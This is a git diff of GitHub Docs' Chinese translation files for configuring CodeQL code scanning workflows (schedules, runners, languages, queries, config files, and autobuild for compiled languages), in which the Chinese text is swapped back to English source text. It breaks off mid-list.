+### Scanning on a schedule -默认 {% data variables.product.prodname_code_scanning %} 工作流程在拉取请求的 `HEAD` 提交时使用 `pull_request` 事件触发代码扫描。 要调整此时间表，请编辑工作流程中的 `cron` 值。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#onschedule)”。 +If you use the default {% data variables.product.prodname_codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)." {% note %} -**注**：{% data variables.product.prodname_dotcom %} 只运行默认分支上工作流程中的预定作业。 在任何其他分支上的工作流程中更改时间表后，需要将该分支合并到默认分支才能使更改生效。 +**Note**: {% data variables.product.prodname_dotcom %} only runs scheduled jobs that are in workflows on the default branch. Changing the schedule in a workflow on any other branch has no effect until you merge the branch into the default branch. {% endnote %} -### 示例 +### Example -{% data variables.product.prodname_dotcom %} saves workflow files in the `.github/workflows` directory of your repository. You can find the workflow by searching for its file name. For example, the default workflow file for CodeQL code scanning is called `codeql-analysis.yml`. +The following example shows a {% data variables.product.prodname_codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`. ``` yaml on: @@ -151,16 +152,16 @@ on: - cron: '20 14 * * 1' ``` -此工作流程扫描： -* 对默认分支和受保护分支的每次推送 -* 对默认分支的每个拉取请求 -* 默认分支（每个星期一 14:20 UTC） +This workflow scans: +* Every push to the default branch and the protected branch +* Every pull request to the default branch +* The default branch every Monday at 14:20 UTC -## 指定操作系统 +## Specifying an operating system -如果您的代码需要使用特定的操作系统进行编译，您可以在工作流程中配置它。 编辑 `jobs.analyze.runs-on` 的值以指定运行 {% data variables.product.prodname_code_scanning %} 操作的机器操作系统。 {% ifversion ghes %}在 `self-hosted` 之后，使用适当的标签作为双元素数组中的第二个元素来指定操作系统。{% else %} +If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.product.prodname_codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %} -如果选择使用自托管的运行器进行代码扫描，可以在 `self-hosted` 之后，使用适当的标签作为双元素数组中的第二个元素来指定操作系统。{% endif %} +If you choose to use a self-hosted runner for code scanning, you can specify an operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% endif %} ``` yaml jobs: @@ -169,16 +170,16 @@ jobs: runs-on: [self-hosted, ubuntu-latest] ``` -{% ifversion fpt or ghec %}更多信息请参阅“[关于自托管的运行器](/actions/hosting-your-own-runners/about-self-hosted-runners)”和“[添加自托管的运行器](/actions/hosting-your-own-runners/adding-self-hosted-runners)”。{% endif %} +{% ifversion fpt or ghec %}For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."{% endif %} -{% data variables.product.prodname_code_scanning_capc %} 支持 macOS、Ubuntu 和 Windows 的最新版本。 因此，此设置的典型值为：`ubuntu-latest`、`windows-latest` 和 `macos-latest`。 更多信息请参阅{% ifversion ghes %}“[GitHub Actions 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#self-hosted-runners)”和“[将标签与自托管运行器一起使用](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners){% else %}”[GitHub Actions 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on){% endif %}“。 +{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} supports the latest versions of Ubuntu, Windows, and macOS. Typical values for this setting are therefore: `ubuntu-latest`, `windows-latest`, and `macos-latest`. For more information, see {% ifversion ghes %}"[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#self-hosted-runners)" and "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners){% else %}"[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on){% endif %}." -{% ifversion ghes %}您必须确保 Git 位于自托管运行器的 PATH 变量中。{% else %}如果您使用自托管运行器，必须确保 Git 在 PATH 变量中。{% endif %} +{% ifversion ghes %}You must ensure that Git is in the PATH variable on your self-hosted runners.{% else %}If you use a self-hosted runner, you must ensure that Git is in the PATH variable.{% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## 指定 {% data variables.product.prodname_codeql %} 数据库的位置 +## Specifying the location for {% data variables.product.prodname_codeql %} databases -一般来说，您不必担心 {% data variables.product.prodname_codeql_workflow %} 放置 {% data variables.product.prodname_codeql %} 数据库的位置，因为以后的步骤会自动找到以前步骤创建的数据库。 但是，如果您正在编写一个自定义工作流步骤，要求 {% data variables.product.prodname_codeql %} 数据库位于特定的磁盘位置，例如将数据库作为工作流程工件上传，则可以使用 `init` 下的 `db-location` 参数指定该位置。 +In general, you do not need to worry about where the {% data variables.product.prodname_codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action. {% raw %} ``` yaml @@ -188,22 +189,22 @@ jobs: ``` {% endraw %} -{% data variables.product.prodname_codeql_workflow %} 将期望在 `db-location` 中提供的路径是可写的，或者不存在，或者是一个空目录。 当在运行自托管运行器或使用 Docker 容器的作业中使用此参数时， 用户有责任确保所选目录在运行之间被清空， 或数据库一旦不再需要即予移除。 {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %} +The {% data variables.product.prodname_codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %} -如果不使用此参数，{% data variables.product.prodname_codeql_workflow %} 将在自己选择的临时位置创建数据库。 +If this parameter is not used, the {% data variables.product.prodname_codeql_workflow %} will create databases in a temporary location of its own choice. {% endif %} -## 更改分析的语言 +## Changing the languages that are analyzed -{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} 会自动检测用受支持的语言编写的代码。 +{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} automatically detects code written in the supported languages. {% data reusables.code-scanning.codeql-languages-bullets %} -默认 {% data variables.product.prodname_codeql_workflow %} 文件包含一个名为 `language` 的构建矩阵，其中列出了仓库中被分析的语言。 将 {% data variables.product.prodname_code_scanning %} 添加到仓库时，{% data variables.product.prodname_codeql %} 会自动填充此矩阵。 使用 `language` 矩阵优化 {% data variables.product.prodname_codeql %} 以并行运行每个分析。 由于并行构建的性能优势，我们建议所有工作流程都采用此配置。 有关构建矩阵的更多信息，请参阅“[管理复杂的工作流程](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)”。 +The default {% data variables.product.prodname_codeql_workflow %} file contains a build matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about build matrices, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix)." {% data reusables.code-scanning.specify-language-to-analyze %} -如果您的工作流程使用 `language` 矩阵，则 {% data variables.product.prodname_codeql %} 会被硬编码为仅分析矩阵中的语言。 如需更改要分析的语言，请编辑矩阵变量的值。 您可以删除某种语言以防止被分析，也可以添加在设置 {% data variables.product.prodname_code_scanning %} 时仓库中不存在的语言。 例如，如果在设置 {% data variables.product.prodname_code_scanning %} 时，仓库最初只包含 JavaScript，但您后来添加了 Python 代码，则需要将 `python` 添加到矩阵中。 +If your workflow uses the `language` matrix then {% data variables.product.prodname_codeql %} is hardcoded to analyze only the languages in the matrix. To change the languages you want to analyze, edit the value of the matrix variable. You can remove a language to prevent it being analyzed or you can add a language that was not present in the repository when {% data variables.product.prodname_code_scanning %} was set up. For example, if the repository initially only contained JavaScript when {% data variables.product.prodname_code_scanning %} was set up, and you later added Python code, you will need to add `python` to the matrix. ```yaml jobs: @@ -216,7 +217,7 @@ jobs: language: ['javascript', 'python'] ``` -如果工作流程中不包含名为 `language` 的矩阵，则 {% data variables.product.prodname_codeql %} 将被配置为按顺序运行分析。 如果您未在工作流程中指定语言，则 {% data variables.product.prodname_codeql %} 将自动检测并尝试分析仓库中所有受支持的语言。 如果不愿意使用矩阵选择要分析的语言，您可以使用 `init` 操作下的 `languages` 参数。 +If your workflow does not contain a matrix called `language`, then {% data variables.product.prodname_codeql %} is configured to run analysis sequentially. If you don't specify languages in the workflow, {% data variables.product.prodname_codeql %} automatically detects, and attempts to analyze, any supported languages in the repository. If you want to choose which languages to analyze, without using a matrix, you can use the `languages` parameter under the `init` action. ```yaml - uses: github/codeql-action/init@v1 @@ -224,15 +225,15 @@ jobs: languages: cpp, csharp, python ``` {% ifversion fpt or ghec %} -## 分析 Python 依赖项 +## Analyzing Python dependencies -对于仅使用 Linux 的 GitHub 托管的运行器，{% data variables.product.prodname_codeql_workflow %} 将尝试自动安装 Python 依赖项以提供更多 CodeQL 分析结果。 可通过为“初始化 CodeQL”步骤调用的操作指定 `setup-python-dependencies` 参数来控制此行为。 默认情况下，此参数设置为 `true`： +For GitHub-hosted runners that use Linux only, the {% data variables.product.prodname_codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`: -- 如果仓库包含用 Python 编写的代码，“初始化 CodeQL”步骤将在 GitHub 托管的运行器上安装必要的依赖项。 如果自动安装成功，该操作还会将环境变量 `CODEQL_PYTHON` 设置为包含依赖项的 Python 可执行文件。 +- If the repository contains code written in Python, the "Initialize CodeQL" step installs the necessary dependencies on the GitHub-hosted runner. If the auto-install succeeds, the action also sets the environment variable `CODEQL_PYTHON` to the Python executable file that includes the dependencies. -- 如果仓库没有任何 Python 依赖项，或者依赖项是以意外方式指定的，您将收到警告，并且该操作会继续执行其余作业。 即使在解释依赖项时出现问题，该操作也可以成功运行，但结果可能不完整。 +- If the repository doesn't have any Python dependencies, or the dependencies are specified in an unexpected way, you'll get a warning and the action will continue with the remaining jobs. The action can run successfully even when there are problems interpreting dependencies, but the results may be incomplete. -或者，您也可以在任何操作系统上手动安装 Python 依赖项。 您需要添加 `setup-python-dependencies` 并将其设置为 `false`，以及将 `CODEQL_PYTHON` 设置为包含依赖项的 Python 可执行文件，如此工作流程摘要中所示： +Alternatively, you can install Python dependencies manually on any operating system. You will need to add `setup-python-dependencies` and set it to `false`, as well as set `CODEQL_PYTHON` to the Python executable that includes the dependencies, as shown in this workflow extract: ```yaml jobs: @@ -269,11 +270,11 @@ jobs: {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## 配置分析类别 +## Configuring a category for the analysis -使用`类别`来区分同一工具和提交的多次分析，但是在不同语言或代码的不同部分进行。 您在工作流程中指定的类别将包含在 SARIF 结果文件中。 +Use `category` to distinguish between multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. The category you specify in your workflow will be included in the SARIF results file. -如果您使用单一仓库，并且对单一仓库的不同部分有多个对应的 SARIF 文件，此参数是特别有用。 +This parameter is particularly useful if you work with monorepos and have multiple SARIF files for different components of the monorepo. {% raw %} ``` yaml @@ -287,17 +288,17 @@ jobs: ``` {% endraw %} -如果您没有在工作流程中指定 `category` 参数，则 {% data variables.product.product_name %} 将根据触发操作的工作流程文件的名称、操作名称和任何矩阵变量为您生成类别名称。 例如： -- `.github/workflows/codeql-analysis.yml` 工作流程和 `analyze` 操作将产生类别 `.github/workflows/codeql.yml:analyze`。 -- `.github/workflows/codeql-analysis.yml` 工作流程、`analyze` 操作和 `{language: javascript, os: linux}` 矩阵变量将产生类别 `.github/workflows/codeql-analysis.yml:analyze/language:javascript/os:linux`。 +If you don't specify a `category` parameter in your workflow, {% data variables.product.product_name %} will generate a category name for you, based on the name of the workflow file triggering the action, the action name, and any matrix variables. For example: +- The `.github/workflows/codeql-analysis.yml` workflow and the `analyze` action will produce the category `.github/workflows/codeql.yml:analyze`. +- The `.github/workflows/codeql-analysis.yml` workflow, the `analyze` action, and the `{language: javascript, os: linux}` matrix variables will produce the category `.github/workflows/codeql-analysis.yml:analyze/language:javascript/os:linux`. -`category` 值在 SARIF v2.1.0 中将显示为 `.automationDetails.id` 属性。 更多信息请参阅“[{% data variables.product.prodname_code_scanning %} 的 SARIF 支持](/code-security/secure-coding/sarif-support-for-code-scanning#runautomationdetails-object)”。 +The `category` value will appear as the `.automationDetails.id` property in SARIF v2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning#runautomationdetails-object)." -如有包括，您指定的类别将不会覆盖 SARIF 文件中 `runAutomationDetail` 对象的详细信息。 +Your specified category will not overwrite the details of the `runAutomationDetails` object in the SARIF file, if included. {% endif %} -## 运行额外查询 +## Running additional queries {% data reusables.code-scanning.run-additional-queries %} @@ -327,7 +328,7 @@ In the example below, `scope` is the organization or personal account that publi ### Using queries in QL packs {% endif %} -要添加一个或多个查询套件，请在配置文件中添加 `queries` 部分。 If the queries are in a private repository, use the `external-repository-token` parameter to specify a token that has access to checkout the private repository. +To add one or more queries, add a `with: queries:` entry within the `uses: github/codeql-action/init@v1` section of the workflow. If the queries are in a private repository, use the `external-repository-token` parameter to specify a token that has access to checkout the private repository. {% raw %} ``` yaml @@ -339,7 +340,7 @@ In the example below, `scope` is the organization or personal account that publi ``` {% endraw %} -您也可以在配置文件中指定额外查询套件以运行它们。 查询套件是查询的集合，通常按目的或语言分组。 +You can also specify query suites in the value of `queries`. Query suites are collections of queries, usually grouped by purpose or language. {% data reusables.code-scanning.codeql-query-suites %} @@ -347,7 +348,7 @@ In the example below, `scope` is the organization or personal account that publi ### Working with custom configuration files {% endif %} -If you also use a configuration file for custom settings, any additional {% if codeql-packs %}packs or {% endif %}queries specified in your workflow are used instead of those specified in the configuration file. If you want to run the combined set of additional {% if codeql-packs %}packs or {% endif %}queries, prefix the value of {% if codeql-packs %}`packs` or {% endif %}`queries` in the workflow with the `+` symbol. 有关配置文件的示例，请参阅“[配置文件示例](#example-configuration-files)”。 +If you also use a configuration file for custom settings, any additional {% if codeql-packs %}packs or {% endif %}queries specified in your workflow are used instead of those specified in the configuration file. If you want to run the combined set of additional {% if codeql-packs %}packs or {% endif %}queries, prefix the value of {% if codeql-packs %}`packs` or {% endif %}`queries` in the workflow with the `+` symbol. For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)." In the following example, the `+` symbol ensures that the specified additional {% if codeql-packs %}packs and {% endif %}queries are used together with any specified in the referenced configuration file. @@ -361,11 +362,11 @@ In the following example, the `+` symbol ensures that the specified additional { {% endif %} ``` -## 使用第三方代码扫描工具 +## Using a custom configuration file A custom configuration file is an alternative way to specify additional {% if codeql-packs %}packs and {% endif %}queries to run. You can also use the file to disable the default queries and to specify which directories to scan during analysis. -在工作流程文件中，使用 `init` 操作的 `config-file` 参数指定要使用的配置文件的路径。 此示例加载配置文件 _./.github/codeql/codeql-config.yml_。 +In the workflow file, use the `config-file` parameter of the `init` action to specify the path to the configuration file you want to use. This example loads the configuration file _./.github/codeql/codeql-config.yml_. ``` yaml - uses: github/codeql-action/init@v1 @@ -375,7 +376,7 @@ A custom configuration file is an alternative way to specify additional {% if co {% data reusables.code-scanning.custom-configuration-file %} -如果配置文件位于外部私有仓库中，请使用 `init` 操作的 `external-repository-token` 参数来指定可以访问私有仓库的令牌。 +If the configuration file is located in an external private repository, use the `external-repository-token` parameter of the `init` action to specify a token that has access to the private repository. {% raw %} ```yaml @@ -385,7 +386,7 @@ A custom configuration file is an alternative way to specify additional {% if co ``` {% endraw %} -配置文件中的设置以 YAML 格式编写。 +The settings in the configuration file are written in YAML format. {% if codeql-packs %} ### Specifying {% data variables.product.prodname_codeql %} query packs @@ -423,9 +424,9 @@ packs: {% endraw %} {% endif %} -### 指定额外查询 +### Specifying additional queries -您可以在 `queries` 数组中指定额外查询。 数组的每个元素都包含一个 `uses` 参数，该参数的值标识单个查询文件、包含查询文件的目录或查询套件定义文件。 +You specify additional queries in a `queries` array. Each element of the array contains a `uses` parameter with a value that identifies a single query file, a directory containing query files, or a query suite definition file. ``` yaml queries: @@ -434,15 +435,15 @@ queries: - uses: ./query-suites/my-security-queries.qls ``` -（可选）您可以给每个数组元素一个名称，如下面的示例配置文件所示。 有关额外查询的更多信息，请参阅上面的“[运行额外查询](#running-additional-queries)”。 +Optionally, you can give each array element a name, as shown in the example configuration files below. For more information about additional queries, see "[Running additional queries](#running-additional-queries)" above. -### 禁用默认查询 +### Disabling the default queries -如果只想运行自定义查询，您可以通过在配置文件中添加 `disable-default-queries: true` 来禁用默认安全查询。 +If you only want to run custom queries, you can disable the default security queries by using `disable-default-queries: true`. -### 指定要扫描的目录 +### Specifying directories to scan -For the interpreted languages that {% data variables.product.prodname_codeql %} supports (Python{% ifversion fpt or ghes > 3.3 or ghae-issue-5017 %}, Ruby{% endif %} and JavaScript/TypeScript), you can restrict {% data variables.product.prodname_code_scanning %} to files in specific directories by adding a `paths` array to the configuration file. 添加 `paths-ignore` 数组可从分析排除特定目录中的文件。 +For the interpreted languages that {% data variables.product.prodname_codeql %} supports (Python{% ifversion fpt or ghes > 3.3 or ghae-issue-5017 %}, Ruby{% endif %} and JavaScript/TypeScript), you can restrict {% data variables.product.prodname_code_scanning %} to files in specific directories by adding a `paths` array to the configuration file. You can exclude the files in specific directories from analysis by adding a `paths-ignore` array. ``` yaml paths: @@ -454,28 +455,28 @@ paths-ignore: {% note %} -**注**： +**Note**: -* 在 {% data variables.product.prodname_code_scanning %} 配置文件上下文中使用的 `paths` 和 `paths-ignore` 关键字，不应与用于工作流程中 `on..paths` 的相同关键字相混淆。 当它们用于修改工作流程中的 `on.` 时，它们将决定在有人修改指定目录中的代码时是否运行操作。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)”。 -* 不支持过滤模式字符 `?`、`+`、`[`、`]` 和 `!`，将逐字匹配。 -* `**` 字符只能用在行的开头或结尾，或用斜杠包围，并且不能将 `**` 与其他字符混合在一起。 例如，`foo/**`、`**/foo` 和 `foo/**/bar` 都是允许的语法，但 `**foo` 不是。 但是，可以将单星号与其他字符一起使用，如示例中所示。 您需要引用任何包含 `*` 字符的内容。 +* The `paths` and `paths-ignore` keywords, used in the context of the {% data variables.product.prodname_code_scanning %} configuration file, should not be confused with the same keywords when used for `on..paths` in a workflow. When they are used to modify `on.` in a workflow, they determine whether the actions will be run when someone modifies code in the specified directories. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)." +* The filter pattern characters `?`, `+`, `[`, `]`, and `!` are not supported and will be matched literally. +* `**` characters can only be at the start or end of a line, or surrounded by slashes, and you can't mix `**` and other characters. For example, `foo/**`, `**/foo`, and `foo/**/bar` are all allowed syntax, but `**foo` isn't. However you can use single stars along with other characters, as shown in the example. You'll need to quote anything that contains a `*` character. {% endnote %} -对于编译的语言，如果要将 {% data variables.product.prodname_code_scanning %} 限制到项目中的特定目录，您必须在工作流程中指定适当的构建步骤。 用于在构建过程中排除目录的命令将取决于您的构建系统。 更多信息请参阅“[为编译语言配置 {% data variables.product.prodname_codeql %} 工作流程](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)”。 +For compiled languages, if you want to limit {% data variables.product.prodname_code_scanning %} to specific directories in your project, you must specify appropriate build steps in the workflow. The commands you need to use to exclude a directory from the build will depend on your build system. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." -在修改特定目录中的代码时，您可以快速分析单个仓库中的小部分。 您需要在构建步骤中排除目录并在工作流程文件中对 [`on.`](https://help.github.com/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths) 使用 `paths-ignore` 和 `paths` 关键字。 +You can quickly analyze small portions of a monorepo when you modify code in specific directories. You'll need to both exclude directories in your build steps and use the `paths-ignore` and `paths` keywords for [`on.`](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths) in your workflow. -### 配置文件示例 +### Example configuration files {% data reusables.code-scanning.example-configuration-files %} -## 为编译语言配置 {% data variables.product.prodname_code_scanning %} +## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages {% data reusables.code-scanning.autobuild-compiled-languages %} {% data reusables.code-scanning.analyze-go %} -{% data reusables.code-scanning.autobuild-add-build-steps %} 有关如何为编译语言配置 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} 的更多信息，请参阅“[为编译语言配置 {% data variables.product.prodname_codeql %} 工作流程](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages)”。 +{% data reusables.code-scanning.autobuild-add-build-steps %} For more information about how to configure {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for compiled languages, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages)." -## 将 {% data variables.product.prodname_code_scanning %} 数据上传到 {% data variables.product.prodname_dotcom %} +## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %} -{% data variables.product.prodname_dotcom %} 可显示通过第三方工具在外部生成的代码分析数据。 通过在工作流程中添加 `upload-sarif` 操作，您可以在 {% data variables.product.prodname_dotcom %} 中显示第三方工具的代码分析。 更多信息请参阅“[将 SARIF 文件上传到 GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)”。 +{% data variables.product.prodname_dotcom %} can display code analysis data generated externally by a third-party tool. You can upload code analysis data with the `upload-sarif` action. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)." diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md index bef14edaad..a54f0f60be 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md @@ -1,7 +1,7 @@ --- -title: 为编译语言配置 CodeQL 工作流程 -shortTitle: 配置编译的语言 -intro: '您可以配置 {% data variables.product.prodname_dotcom %} 如何使用 {% data variables.product.prodname_codeql_workflow %} 扫描用编译语言编写的代码以查找漏洞和错误。' +title: Configuring the CodeQL workflow for compiled languages +shortTitle: Configure compiled languages +intro: 'You can configure how {% data variables.product.prodname_dotcom %} uses the {% data variables.product.prodname_codeql_workflow %} to scan code written in compiled languages for vulnerabilities and errors.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permissions to a repository, you can configure {% data variables.product.prodname_code_scanning %} for that repository.' redirect_from: @@ -26,85 +26,86 @@ topics: - C# - Java --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -## 关于 {% data variables.product.prodname_codeql_workflow %} 和编译语言 +## About the {% data variables.product.prodname_codeql_workflow %} and compiled languages -通过添加 {% data variables.product.prodname_actions %} 工作流程到仓库，设置 {% data variables.product.prodname_dotcom %} 对仓库运行 {% data variables.product.prodname_code_scanning %}。 对于 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}，您可以添加 {% data variables.product.prodname_codeql_workflow %}。 更多信息请参阅“[为仓库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)”。 +You set up {% data variables.product.prodname_dotcom %} to run {% data variables.product.prodname_code_scanning %} for your repository by adding a {% data variables.product.prodname_actions %} workflow to the repository. For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, you add the {% data variables.product.prodname_codeql_workflow %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." -{% data reusables.code-scanning.edit-workflow %} -有关配置 {% data variables.product.prodname_code_scanning %} 和编辑工作流程文件的一般信息，请参阅“[配置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)”和“[了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。 +{% data reusables.code-scanning.edit-workflow %} +For general information about configuring {% data variables.product.prodname_code_scanning %} and editing workflow files, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -## 关于 {% data variables.product.prodname_codeql %} 的自动构建 +## About autobuild for {% data variables.product.prodname_codeql %} -代码扫描的工作方式是对一个或多个数据库运行查询。 每个数据库都包含仓库中所有代码的单一语言表示形式。 对于编译语言 C/C++、C# 和 Java，填充此数据库的过程涉及构建代码和提取数据。 {% data reusables.code-scanning.analyze-go %} +Code scanning works by running queries against one or more databases. Each database contains a representation of all of the code in a single language in your repository. For the compiled languages C/C++, C#, and Java, the process of populating this database involves building the code and extracting data. {% data reusables.code-scanning.analyze-go %} {% data reusables.code-scanning.autobuild-compiled-languages %} -如果您的工作流程使用 `language` 矩阵，`autobuild` 将尝试构建矩阵中列出的每种编译语言。 如果不使用矩阵，`autobuild` 将尝试构建涵盖仓库中最多源文件的受支持编译语言。 除 Go 以外，除非您提供明确的构建命令，否则您仓库中其他编译语言的分析将失败。 +If your workflow uses a `language` matrix, `autobuild` attempts to build each of the compiled languages listed in the matrix. Without a matrix `autobuild` attempts to build the supported compiled language that has the most source files in the repository. With the exception of Go, analysis of other compiled languages in your repository will fail unless you supply explicit build commands. {% note %} -{% ifversion ghae %} **注意**：有关如何确定 {% data variables.actions.hosted_runner %} 已安装所需软件的说明，请参阅“[创建自定义映像](/actions/using-github-hosted-runners/creating-custom-images)”。 +{% ifversion ghae %}**Note**: For instructions on how to make sure your {% data variables.actions.hosted_runner %} has the required software installed, see "[Creating custom images](/actions/using-github-hosted-runners/creating-custom-images)." {% else %} -**注**：如果使用 {% data variables.product.prodname_actions %} 的自托管运行器，您可能需要安装其他软件才能使用 `autobuild` 进程。 此外，如果您的仓库需要特定版本的构建工具，您可能需要手动安装它。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 托管运行器的规范](/actions/reference/specifications-for-github-hosted-runners/#supported-software)”。 +**Note**: If you use self-hosted runners for {% data variables.product.prodname_actions %}, you may need to install additional software to use the `autobuild` process. Additionally, if your repository requires a specific version of a build tool, you may need to install it manually. For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)". {% endif %} {% endnote %} ### C/C++ -| 支持的系统类型 | 系统名称 | -| ------- | ---------------------------------------------------------------------------------------------------------- | -| 操作系统 | Windows、macOS 和 Linux | -| 构建系统 | Windows：MSbuild 和构建脚本
                    Linux 和 macOS：Autoconf、Make、CMake、qmake、Meson、Waf、SCons、Linux Kbuild 和构建脚本 | +| Supported system type | System name | +|----|----| +| Operating system | Windows, macOS, and Linux | +| Build system | Windows: MSbuild and build scripts
                    Linux and macOS: Autoconf, Make, CMake, qmake, Meson, Waf, SCons, Linux Kbuild, and build scripts | -`autobuild` 步骤的行为因提取运行所在的操作系统而异。 在 Windows 上，`autobuild` 步骤尝试使用以下方法自动检测合适的 C/C# 构建方法： +The behavior of the `autobuild` step varies according to the operating system that the extraction runs on. On Windows, the `autobuild` step attempts to autodetect a suitable build method for C/C++ using the following approach: -1. 在最接近根目录的解决方案 (`.sln`) 或项目 (`.vcxproj`) 文件上调用 `MSBuild.exe`。 如果 `autobuild` 在顶层目录下的相同深度（最短）检测到多个解决方案或项目文件，它将尝试构建所有这些文件。 -2. 调用看起来像构建脚本的脚本—_build.bat_、_build.cmd_ _和 build.exe_（按此顺序）。 +1. Invoke `MSBuild.exe` on the solution (`.sln`) or project (`.vcxproj`) file closest to the root. +If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them. +2. Invoke a script that looks like a build script—_build.bat_, _build.cmd_, _and build.exe_ (in that order). -在 Linux 和 macOS 上，`autobuild` 步骤检查仓库中存在的文件，以确定所使用的构建系统： +On Linux and macOS, the `autobuild` step reviews the files present in the repository to determine the build system used: -1. 在根目录中查找构建系统。 -2. 如果未找到，则搜索子目录以查找含有 C/C++ 构建系统的唯一目录。 -3. 